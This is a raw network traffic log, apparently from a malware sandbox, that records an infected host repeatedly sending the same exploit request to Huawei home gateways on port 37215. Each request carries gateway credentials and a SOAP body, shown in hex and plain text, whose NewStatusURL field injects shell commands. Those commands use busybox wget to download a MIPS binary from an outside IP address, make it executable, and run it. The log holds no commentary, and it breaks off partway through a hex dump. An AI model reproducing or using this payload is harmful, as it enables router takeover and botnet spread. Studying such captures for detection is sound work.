Dec 30, 2023 07:16:24.088440895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:25.848272085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:29.333292961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:36.498788118 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:50.576793909 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	40522	156.253.33.174	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:22.841485023 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:24.660362005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:27.028017044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:31.379416943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:40.082190037 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 